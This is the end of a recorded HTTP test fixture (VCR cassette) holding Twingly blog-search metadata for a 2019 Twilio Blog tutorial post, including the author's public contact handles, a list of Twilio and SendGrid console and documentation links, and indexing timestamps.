Email: lsiegle@twilio.com  
Twitter: @lizziepika 
GitHub: elizabethsiegle</text><languageCode>en</languageCode><locationCode>us</locationCode><coordinates /><links><link>http://www.facebook.com/sospectra</link><link>https://www.facebook.com/pages/creation</link><link>https://www.twilio.com/console/channels/XB93e989ba4b741738f51c3f0e12076d42</link><link>https://www.twilio.com/console/autopilot</link><link>https://www.twilio.com/console/channels/XB93e989ba4b741738f51c3f0e12076d42</link><link>https://www.messenger.com/</link><link>https://app.sendgrid.com/</link><link>https://app.sendgrid.com/settings/api_keys</link><link>https://www.twilio.com/console/runtime/functions/configure</link><link>https://www.twilio.com/docs/autopilot/actions/say</link><link>https://www.twilio.com/docs/autopilot/actions/hand-off</link><link>https://www.twilio.com/docs/autopilot/actions/redirect</link><link>https://www.twilio.com/docs/autopilot/actions/collect</link><link>https://www.twilio.com/console/autopilot</link><link>https://www.twilio.com/console/runtime/functions/configure</link><link>https://www.twilio.com/console/runtime/overview</link><link>https://www.twilio.com/console/runtime/functions/manage</link><link>https://www.tinyletter.com/lizziepika</link><link>https://www.twitter.com/lizziepika</link><link>https://www.github.com/elizabethsiegle</link></links><tags><tag>Code, Tutorials and Hacks</tag></tags><images /><indexedAt>2019-03-27T15:23:56Z</indexedAt><publishedAt>2019-03-27T15:23:56Z</publishedAt><reindexedAt>2019-03-27T15:23:56Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>4639011064680204460</blogId><blogName>Twilio Blog</blogName><blogUrl>https://www.twilio.com/blog</blogUrl><blogRank>3</blogRank><authority>167</authority></post></twinglydata>
    http_version: 
  recorded_at: Wed, 27 Mar 2019 18:52:44 GMT
recorded_with: VCR 4.0.0